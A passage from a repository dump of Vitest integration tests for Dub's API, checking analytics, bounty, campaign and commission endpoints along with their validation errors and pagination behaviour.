.array(analyticsResponse.top_links.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partnerId === E2E_PARTNER.id),\n        ).toBe(true);\n        expect(\n          parsed.data?.every((item) => item.id === E2E_PARTNER.link.id),\n        ).toBe(true);\n      });\n\n      test(\"get top links for partner (negative filter by linkId)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: `/partner-profile/programs/${E2E_PROGRAM.id}/analytics`,\n          query: {\n            groupBy: \"top_links\",\n            linkId: `-${E2E_PARTNER.link.id}`,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_links.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        // need to make sure all returned links still belong to the partner\n        expect(\n          parsed.data?.every((item) => item.partnerId === E2E_PARTNER.id),\n        ).toBe(true);\n      });\n    },\n  );\n"
  },
  {
    "path": "apps/web/tests/analytics/public-analytics-dashboard.test.ts",
    "content": "import { analyticsResponse } from \"@/lib/zod/schemas/analytics-response\";\nimport { E2E_PUBLIC_ANALYTICS_FOLDER_ID } from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.runIf(env.CI).sequential(\"GET /analytics/dashboard\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"public analytics dashboard (folder)\", async () => {\n    const { status, data } = await http.get<any[]>({\n      path: \"/analytics/dashboard\",\n      query: {\n        event: \"clicks\",\n        groupBy: \"top_links\",\n        folderId: E2E_PUBLIC_ANALYTICS_FOLDER_ID,\n      },\n    });\n\n    expect(status).toEqual(200);\n    const parsed = z\n      .array(analyticsResponse.top_links.strict())\n      .safeParse(data);\n    expect(parsed.success).toBeTruthy();\n    expect(\n      parsed.data?.every(\n        (item) => item.folderId === E2E_PUBLIC_ANALYTICS_FOLDER_ID,\n      ),\n    ).toBe(true);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/bounties/index.test.ts",
    "content": "import { Bounty } from \"@dub/prisma/client\";\nimport { addDays, addMonths, subDays } from \"date-fns\";\nimport { E2E_PARTNER_GROUP } from \"tests/utils/resource\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\n// start 5 mins from now to make sure the bounty is fully deleted so it doesn't trigger email sends\nconst startsAt = new Date(Date.now() + 5 * 60 * 1000).toISOString();\n\nconst performanceBounty = {\n  name: \"Earn $10 after generating 100 leads\",\n  description: \"some description about the bounty\",\n  type: \"performance\",\n  startsAt,\n  endsAt: null,\n  rewardAmount: 1000,\n  performanceScope: \"new\",\n};\n\nconst submissionBounty = {\n  name: \"Submission Bounty\",\n  description: \"some description about the bounty\",\n  type: \"submission\",\n  startsAt,\n  endsAt: null,\n  submissionsOpenAt: null,\n  rewardAmount: 1000,\n  submissionRequirements: {\n    image: {\n      max: 4,\n    },\n    url: {\n      max: 10,\n    },\n  },\n};\n\ndescribe.sequential(\"/bounties/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let submissionBountyId = \"\";\n\n  test(\"POST /bounties - performance based\", async () => {\n    const { status, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        ...performanceBounty,\n        groupIds: [E2E_PARTNER_GROUP.id],\n        performanceCondition: {\n          attribute: \"totalLeads\",\n          operator: \"gte\",\n          value: 100,\n        },\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...performanceBounty,\n    });\n\n    onTestFinished(async () => {\n      await h.deleteBounty(bounty.id);\n    });\n  });\n\n  test(\"POST /bounties - performance based with performanceScope set to new\", async () => {\n    const { status, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        ...performanceBounty,\n        groupIds: [E2E_PARTNER_GROUP.id],\n        performanceScope: \"new\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...performanceBounty,\n      performanceScope: \"new\",\n    });\n\n    onTestFinished(async () => {\n      await h.deleteBounty(bounty.id);\n    });\n  });\n\n  test(\"POST /bounties - submission based\", async () => {\n    const { status, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        ...submissionBounty,\n        groupIds: [E2E_PARTNER_GROUP.id],\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...submissionBounty,\n    });\n\n    submissionBountyId = bounty.id;\n  });\n\n  test(\"POST /bounties - submission based with rewardDescription\", async () => {\n    const { status, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        ...submissionBounty,\n        groupIds: [E2E_PARTNER_GROUP.id],\n        rewardAmount: null,\n        rewardDescription: \"some reward description\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...submissionBounty,\n      rewardAmount: null,\n      rewardDescription: \"some reward description\",\n    });\n\n    onTestFinished(async () => {\n      await h.deleteBounty(bounty.id);\n    });\n  });\n\n  test(\"POST /bounties - submission based with submissionsOpenAt\", async () => {\n    const now = new Date();\n    const startsAt = addDays(now, 1);\n    const endsAt = addDays(startsAt, 30);\n    const submissionsOpenAt = subDays(endsAt, 2);\n\n    const { status, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        ...submissionBounty,\n        startsAt,\n        endsAt,\n        submissionsOpenAt,\n        groupIds: [E2E_PARTNER_GROUP.id],\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...submissionBounty,\n      startsAt: startsAt.toISOString(),\n      endsAt: endsAt.toISOString(),\n      submissionsOpenAt: submissionsOpenAt.toISOString(),\n    });\n\n    onTestFinished(async () => {\n      await h.deleteBounty(bounty.id);\n    });\n  });\n\n  test(\"POST /bounties - invalid group IDs\", async () => {\n    const { status, data } = await http.post({\n      path: \"/bounties\",\n      body: {\n        ...submissionBounty,\n        groupIds: [\"invalid-group-id\"],\n      },\n    });\n\n    expect(status).toEqual(400);\n    expect(data).toMatchObject({\n      error: {\n        message: \"Invalid group IDs detected: invalid-group-id\",\n        code: \"bad_request\",\n      },\n    });\n  });\n\n  test(\"GET /bounties/{bountyId}\", async () => {\n    const { status, data: bounty } = await http.get<Bounty>({\n      path: `/bounties/${submissionBountyId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...submissionBounty,\n    });\n  });\n\n  test(\"GET /bounties\", async () => {\n    const { status, data: bounties } = await http.get<Bounty[]>({\n      path: `/bounties`,\n    });\n\n    expect(status).toEqual(200);\n    expect(bounties.length).toBeGreaterThanOrEqual(1);\n  });\n\n  test(\"PATCH /bounties/{bountyId}\", async () => {\n    const now = new Date();\n    const endsAt = addDays(now, 30);\n\n    const toUpdate = {\n      name: \"Submission Bounty Updated\",\n      endsAt: endsAt.toISOString(),\n      rewardAmount: 2000,\n    };\n\n    const { status, data: bounty } = await http.patch<Bounty>({\n      path: `/bounties/${submissionBountyId}`,\n      body: {\n        ...toUpdate,\n        type: \"performance\", // should skip the type update\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: expect.any(String),\n      ...submissionBounty,\n      ...toUpdate,\n    });\n  });\n\n  test(\"DELETE /bounties/{bountyId}\", async () => {\n    const { status, data: bounty } = await http.delete<{ id: string }>({\n      path: `/bounties/${submissionBountyId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(bounty).toMatchObject({\n      id: submissionBountyId,\n    });\n  });\n});\n\ndescribe.sequential(\n  \"/bounties - multiple submissions & frequency\",\n  async () => {\n    const h = new IntegrationHarness();\n    const { http } = await h.init();\n\n    const bountyStartsAt = new Date(Date.now() + 5 * 60 * 1000);\n    const bountyEndsAt = addMonths(bountyStartsAt, 1);\n\n    const base = {\n      name: \"Multi-Submission Bounty\",\n      type: \"submission\",\n      startsAt: bountyStartsAt.toISOString(),\n      endsAt: bountyEndsAt.toISOString(),\n      rewardAmount: 1000,\n      submissionRequirements: { image: { max: 4 } },\n      groupIds: [E2E_PARTNER_GROUP.id],\n    };\n\n    let bountyId = \"\";\n\n    test(\"POST /bounties - maxSubmissions persists for submission bounty\", async () => {\n      const { status, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: { ...base, maxSubmissions: 5 },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({\n        id: expect.any(String),\n        maxSubmissions: 5,\n        submissionFrequency: null,\n      });\n\n      onTestFinished(async () => {\n        await h.deleteBounty(bounty.id);\n      });\n    });\n\n    test(\"POST /bounties - submissionFrequency 'week' with maxSubmissions\", async () => {\n      const { status, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: { ...base, maxSubmissions: 4, submissionFrequency: \"week\" },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({\n        maxSubmissions: 4,\n        submissionFrequency: \"week\",\n      });\n\n      onTestFinished(async () => {\n        await h.deleteBounty(bounty.id);\n      });\n    });\n\n    test(\"POST /bounties - submissionFrequency 'month' with maxSubmissions\", async () => {\n      const { status, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: { ...base, maxSubmissions: 3, submissionFrequency: \"month\" },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({\n        maxSubmissions: 3,\n        submissionFrequency: \"month\",\n      });\n\n      bountyId = bounty.id;\n    });\n\n    test(\"POST /bounties - maxSubmissions and submissionFrequency are ignored for performance bounties\", async () => {\n      const { status, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: {\n          type: \"performance\",\n          startsAt: bountyStartsAt.toISOString(),\n          endsAt: null,\n          rewardAmount: 1000,\n          performanceScope: \"new\",\n          groupIds: [E2E_PARTNER_GROUP.id],\n          performanceCondition: {\n            attribute: \"totalLeads\",\n            operator: \"gte\",\n            value: 50,\n          },\n          maxSubmissions: 5,\n          submissionFrequency: \"week\",\n        },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({\n        maxSubmissions: 1,\n        submissionFrequency: null,\n      });\n\n      onTestFinished(async () => {\n        await h.deleteBounty(bounty.id);\n      });\n    });\n\n    test(\"POST /bounties - maxSubmissions below minimum (1) is rejected\", async () => {\n      const { status } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, maxSubmissions: 1 },\n      });\n\n      expect(status).toEqual(422);\n    });\n\n    test(\"POST /bounties - maxSubmissions above maximum (11) is rejected\", async () => {\n      const { status } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, maxSubmissions: 11 },\n      });\n\n      expect(status).toEqual(422);\n    });\n\n    test(\"POST /bounties - submissionFrequency without maxSubmissions is rejected\", async () => {\n      const { status, data } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, submissionFrequency: \"week\" },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message:\n            \"maxSubmissions is required when submissionFrequency is set.\",\n        },\n      });\n    });\n\n    test(\"POST /bounties - submissionFrequency without endsAt is rejected\", async () => {\n      const { status, data } = await http.post({\n        path: \"/bounties\",\n        body: {\n          ...base,\n          endsAt: null,\n          maxSubmissions: 4,\n          submissionFrequency: \"week\",\n        },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message: \"An end date is required when submissionFrequency is set.\",\n        },\n      });\n    });\n\n    test(\"POST /bounties - submissionsOpenAt without endsAt is rejected\", async () => {\n      const submissionsOpenAt = addDays(bountyStartsAt, 5).toISOString();\n\n      const { status, data } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, endsAt: null, submissionsOpenAt },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message:\n            \"An end date is required to determine when the submission window opens.\",\n        },\n      });\n    });\n\n    test(\"POST /bounties - submissionsOpenAt before startsAt is rejected\", async () => {\n      const submissionsOpenAt = subDays(bountyStartsAt, 1).toISOString();\n\n      const { status, data } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, submissionsOpenAt },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message:\n            \"Bounty submissions open date (submissionsOpenAt) must be on or after start date (startsAt).\",\n        },\n      });\n    });\n\n    test(\"POST /bounties - submissionsOpenAt after endsAt is rejected\", async () => {\n      const submissionsOpenAt = addDays(bountyEndsAt, 1).toISOString();\n\n      const { status, data } = await http.post({\n        path: \"/bounties\",\n        body: { ...base, submissionsOpenAt },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message:\n            \"Bounty submissions open date (submissionsOpenAt) must be on or before end date (endsAt).\",\n        },\n      });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - update maxSubmissions\", async () => {\n      const { status, data: bounty } = await http.patch<Bounty>({\n        path: `/bounties/${bountyId}`,\n        body: { maxSubmissions: 6 },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({ maxSubmissions: 6 });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - update submissionFrequency\", async () => {\n      const { status, data: bounty } = await http.patch<Bounty>({\n        path: `/bounties/${bountyId}`,\n        body: { submissionFrequency: \"day\" },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({ submissionFrequency: \"day\" });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - clear submissionFrequency to null\", async () => {\n      const { status, data: bounty } = await http.patch<Bounty>({\n        path: `/bounties/${bountyId}`,\n        body: { submissionFrequency: null },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({ submissionFrequency: null });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - clear maxSubmissions to null\", async () => {\n      const { status, data: bounty } = await http.patch<Bounty>({\n        path: `/bounties/${bountyId}`,\n        body: { maxSubmissions: null },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({ maxSubmissions: 1 });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - update submissionsOpenAt\", async () => {\n      const submissionsOpenAt = addDays(bountyStartsAt, 5).toISOString();\n\n      const { status, data: bounty } = await http.patch<Bounty>({\n        path: `/bounties/${bountyId}`,\n        body: { submissionsOpenAt },\n      });\n\n      expect(status).toEqual(200);\n      expect(bounty).toMatchObject({\n        submissionsOpenAt: expect.any(String),\n      });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - submissionFrequency requires endsAt on the bounty\", async () => {\n      const { status: clearStatus } = await http.patch({\n        path: `/bounties/${bountyId}`,\n        body: { endsAt: null },\n      });\n      expect(clearStatus).toEqual(200);\n\n      const { status, data } = await http.patch({\n        path: `/bounties/${bountyId}`,\n        body: { submissionFrequency: \"week\", maxSubmissions: 4 },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message: \"An end date is required when submissionFrequency is set.\",\n        },\n      });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - submissionsOpenAt without endsAt is rejected\", async () => {\n      const submissionsOpenAt = addDays(bountyStartsAt, 5).toISOString();\n\n      const { status, data } = await http.patch({\n        path: `/bounties/${bountyId}`,\n        body: { submissionsOpenAt },\n      });\n\n      expect(status).toEqual(400);\n      expect(data).toMatchObject({\n        error: {\n          message:\n            \"An end date is required to determine when the submission window opens.\",\n        },\n      });\n    });\n\n    test(\"PATCH /bounties/{bountyId} - maxSubmissions below minimum (1) is rejected\", async () => {\n      const { status } = await http.patch({\n        path: `/bounties/${bountyId}`,\n        body: { maxSubmissions: 1 },\n      });\n\n      expect(status).toEqual(422);\n    });\n\n    test(\"PATCH /bounties/{bountyId} - maxSubmissions above maximum (11) is rejected\", async () => {\n      const { status } = await http.patch({\n        path: `/bounties/${bountyId}`,\n        body: { maxSubmissions: 11 },\n      });\n\n      expect(status).toEqual(422);\n    });\n\n    test(\"DELETE /bounties/{bountyId}\", async () => {\n      const { status } = await http.delete({ path: `/bounties/${bountyId}` });\n      expect(status).toEqual(200);\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/tests/campaigns/index.test.ts",
    "content": "import { Campaign, CampaignList } from \"@/lib/types\";\nimport { updateCampaignSchema } from \"@/lib/zod/schemas/campaigns\";\nimport { E2E_PARTNER_GROUP } from \"tests/utils/resource\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst campaign: z.infer<typeof updateCampaignSchema> = {\n  name: \"Updated Test Campaign\",\n  subject: \"Updated Test Subject\",\n  triggerCondition: {\n    attribute: \"totalConversions\",\n    operator: \"gte\",\n    value: 50,\n  },\n  bodyJson: {\n    type: \"doc\",\n    content: [\n      {\n        type: \"paragraph\",\n        content: [\n          {\n            type: \"text\",\n            text: \"Test campaign body\",\n          },\n        ],\n      },\n    ],\n  },\n};\n\nconst expectedCampaign: Partial<Campaign> = {\n  ...campaign,\n  type: \"transactional\",\n  status: expect.any(String),\n  preview: null,\n  from: null,\n  scheduledAt: null,\n  groups: [{ id: E2E_PARTNER_GROUP.id }],\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n};\n\ndescribe.sequential(\"/campaigns/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let campaignId = \"\";\n\n  test(\"POST /campaigns - create draft campaign\", async () => {\n    const { status, data } = await http.post<{ id: string }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(status).toEqual(201);\n    expect(data).toMatchObject({\n      id: expect.any(String),\n    });\n\n    campaignId = data.id;\n  });\n\n  test(\"PATCH /campaigns/[campaignId] - update campaign content\", async () => {\n    const { status, data: updatedCampaign } = await http.patch<Campaign>({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        ...campaign,\n        groupIds: [E2E_PARTNER_GROUP.id],\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"draft\",\n    });\n  });\n\n  test(\"GET /campaigns/[campaignId] - make sure the draft campaign is created\", async () => {\n    const { status, data: fetchedCampaign } = await http.get<Campaign>({\n      path: `/campaigns/${campaignId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(fetchedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"draft\",\n    });\n  });\n\n  test(\"PATCH /campaigns/[campaignId] - publish campaign\", async () => {\n    const { status, data: publishedCampaign } = await http.patch<Campaign>({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        status: \"active\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(publishedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"active\",\n    });\n  });\n\n  test(\"PATCH /campaigns/[campaignId] - pause campaign\", async () => {\n    const { status, data: pausedCampaign } = await http.patch<Campaign>({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        status: \"paused\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(pausedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"paused\",\n    });\n  });\n\n  test(\"PATCH /campaigns/[campaignId] - resume campaign\", async () => {\n    const { status, data: resumedCampaign } = await http.patch<Campaign>({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        status: \"active\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(resumedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"active\",\n    });\n  });\n\n  test(\"POST /campaigns/[campaignId]/duplicate - duplicate campaign\", async () => {\n    const { status, data } = await http.post<{ id: string }>({\n      path: `/campaigns/${campaignId}/duplicate`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data.id).toBeDefined();\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(data.id);\n    });\n\n    const { data: duplicatedCampaign } = await http.get<Campaign>({\n      path: `/campaigns/${data.id}`,\n    });\n\n    expect(duplicatedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: data.id,\n      name: `${expectedCampaign.name} (copy)`,\n      status: \"draft\",\n    });\n  });\n\n  test(\"GET /campaigns - list campaigns\", async () => {\n    const { status, data: campaigns } = await http.get<CampaignList[]>({\n      path: \"/campaigns\",\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(campaigns)).toBe(true);\n    expect(campaigns.length).toBeGreaterThan(0);\n\n    const campaign = campaigns.find((c) => c.id === campaignId);\n\n    expect(campaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n    });\n  });\n\n  test(\"GET /campaigns/[campaignId] - get single campaign\", async () => {\n    const { status, data: fetchedCampaign } = await http.get<Campaign>({\n      path: `/campaigns/${campaignId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(fetchedCampaign).toStrictEqual({\n      ...expectedCampaign,\n      id: campaignId,\n      status: \"active\",\n    });\n  });\n\n  test(\"DELETE /campaigns/[campaignId] - delete campaign\", async () => {\n    const { status, data } = await http.delete<{ id: string }>({\n      path: `/campaigns/${campaignId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toStrictEqual({\n      id: campaignId,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/commissions/index.test.ts",
    "content": "import { CommissionResponse } from \"@/lib/types\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst expectedCommission = {\n  id: expect.any(String),\n  amount: expect.any(Number),\n  earnings: expect.any(Number),\n  status: expect.any(String),\n  currency: expect.any(String),\n  type: expect.any(String),\n  quantity: expect.any(Number),\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n  partner: expect.any(Object),\n  customer: expect.any(Object),\n};\n\ndescribe.sequential(\"/commissions/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let testCommissionId: string;\n  let testLeadCommissionId: string;\n  let testPaidCommissionId: string;\n\n  test(\"GET /commissions\", async () => {\n    const { status, data: commissions } = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: {\n        status: \"processed\",\n        sortBy: \"createdAt\",\n        sortOrder: \"desc\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(commissions)).toBe(true);\n    expect(commissions.length).toBeGreaterThan(0);\n    expect(commissions[0]).toMatchObject(expectedCommission);\n\n    // Store the first sale and lead commission's ID for subsequent tests\n    testCommissionId = commissions.find((c) => c.type === \"sale\")!.id;\n    testLeadCommissionId = commissions.find((c) => c.type === \"lead\")!.id;\n  });\n\n  test(\"GET /commissions with filters\", async () => {\n    // Get paid commissions\n    const { status: paidStatus, data: paidCommissions } = await http.get<\n      CommissionResponse[]\n    >({\n      path: \"/commissions\",\n      query: {\n        status: \"paid\",\n        page: \"1\",\n        pageSize: \"1\",\n      },\n    });\n\n    expect(paidStatus).toEqual(200);\n    expect(Array.isArray(paidCommissions)).toBe(true);\n    expect(paidCommissions.length).toBeGreaterThan(0);\n    expect(paidCommissions[0]).toMatchObject(expectedCommission);\n    testPaidCommissionId = paidCommissions[0].id;\n  });\n\n  test(\"PATCH /commissions/{id} - update amount\", async () => {\n    const toUpdate = {\n      amount: 5000, // $50.00 in cents\n    };\n\n    const { status, data: commission } = await http.patch<CommissionResponse>({\n      path: `/commissions/${testCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(commission).toMatchObject({\n      ...expectedCommission,\n      amount: toUpdate.amount,\n    });\n  });\n\n  test(\"PATCH /commissions/{id} - modify amount\", async () => {\n    const toUpdate = {\n      modifyAmount: 1000, // Add $10.00 to existing amount\n      currency: \"usd\",\n    };\n\n    const { status, data: commission } = await http.patch<CommissionResponse>({\n      path: `/commissions/${testCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(commission.amount).toEqual(6000);\n  });\n\n  test(\"PATCH /commissions/{id} - foreign currency conversion\", async () => {\n    const toUpdate = {\n      amount: 1580, // approximately 1000 USD cents\n      currency: \"jpy\",\n    };\n\n    const { status, data: commission } = await http.patch<CommissionResponse>({\n      path: `/commissions/${testCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(commission.currency).toEqual(\"usd\");\n    expect(commission.amount).toBeGreaterThanOrEqual(900); // 900 cents\n    expect(commission.amount).toBeLessThanOrEqual(1100); // 1100 cents\n  });\n\n  test(\"PATCH /commissions/{id} - error on lead commission\", async () => {\n    const toUpdate = {\n      amount: 5000,\n    };\n\n    const response = await http.patch<CommissionResponse>({\n      path: `/commissions/${testLeadCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(response.status).toEqual(400);\n    expect(response.data[\"error\"].message).toContain(\"not a sale commission.\");\n  });\n\n  test(\"PATCH /commissions/{id} - error on paid commission\", async () => {\n    const toUpdate = {\n      amount: 5000,\n    };\n\n    const response = await http.patch<CommissionResponse>({\n      path: `/commissions/${testPaidCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(response.status).toEqual(400);\n    expect(response.data[\"error\"].message).toContain(\"has already been paid\");\n  });\n\n  test(\"PATCH /commissions/{id} - update status to refunded\", async () => {\n    const toUpdate = {\n      status: \"refunded\",\n    };\n\n    const { status, data: commission } = await http.patch<CommissionResponse>({\n      path: `/commissions/${testCommissionId}`,\n      body: toUpdate,\n    });\n\n    expect(status).toEqual(200);\n    expect(commission).toMatchObject({\n      ...expectedCommission,\n      status: toUpdate.status,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/commissions/pagination.test.ts",
    "content": "import { CommissionResponse } from \"@/lib/types\";\nimport { beforeAll, describe, expect, test } from \"vitest\";\nimport {\n  expectNoOverlap,\n  expectSortedByCreatedAt,\n  expectSortedById,\n} from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.concurrent(\"/commissions/** - pagination\", async () => {\n  const h = new IntegrationHarness();\n  let http: IntegrationHarness[\"http\"];\n  let baseline: CommissionResponse[];\n  let baselineIds: string[];\n\n  const commonQuery = {\n    pageSize: \"5\",\n    sortBy: \"createdAt\",\n    sortOrder: \"desc\",\n  };\n\n  beforeAll(async () => {\n    ({ http } = await h.init());\n\n    const { status, data } = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: { ...commonQuery, pageSize: \"25\" },\n    });\n\n    expect(status).toEqual(200);\n\n    baseline = data;\n    baselineIds = baseline.map((c) => c.id);\n    expectSortedByCreatedAt(baseline);\n  });\n\n  test(\"Offset pagination works\", async () => {\n    const page1 = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: { ...commonQuery, page: \"1\" },\n    });\n    const page2 = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: { ...commonQuery, page: \"2\" },\n    });\n\n    expect(page1.status).toEqual(200);\n    expect(page2.status).toEqual(200);\n\n    expect(page1.data.map((c) => c.id)).toEqual(baselineIds.slice(0, 5));\n    expect(page2.data.map((c) => c.id)).toEqual(baselineIds.slice(5, 10));\n\n    expectNoOverlap(page1.data, page2.data);\n  });\n\n  test(\"Cursor forward (startingAfter)\", async () => {\n    const firstPage = baseline.slice(0, 5);\n    const lastId = firstPage[4].id;\n    const expectedIds = baseline\n      .filter((b) => b.id < lastId)\n      .sort((a, b) => b.id.localeCompare(a.id))\n      .slice(0, 5)\n      .map((b) => b.id);\n\n    const { status, data } = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: {\n        ...commonQuery,\n        pageSize: \"5\",\n        startingAfter: lastId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data.map((d) => d.id)).toEqual(expectedIds);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Cursor backward (endingBefore)\", async () => {\n    const beforeId = baseline[5].id;\n    const expectedIds = baseline\n      .filter((b) => b.id > beforeId)\n      .sort((a, b) => b.id.localeCompare(a.id))\n      .slice(0, 5)\n      .map((b) => b.id);\n\n    const { status, data } = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query: {\n        ...commonQuery,\n        pageSize: \"5\",\n        endingBefore: beforeId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data.map((d) => d.id)).toEqual(expectedIds);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Rejects both startingAfter and endingBefore\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/commissions\",\n      query: {\n        pageSize: \"5\",\n        startingAfter: \"id\",\n        endingBefore: \"id\",\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both startingAfter and endingBefore at the same time.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Rejects page > MAX_OFFSET_PAGE\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/commissions\",\n      query: { page: \"1001\", pageSize: \"10\" },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Page is too big (cannot be more than 1000), recommend using cursor-based pagination instead.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Invalid cursor ID (startingAfter / endingBefore) returns error\", async () => {\n    const invalidCursorError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the 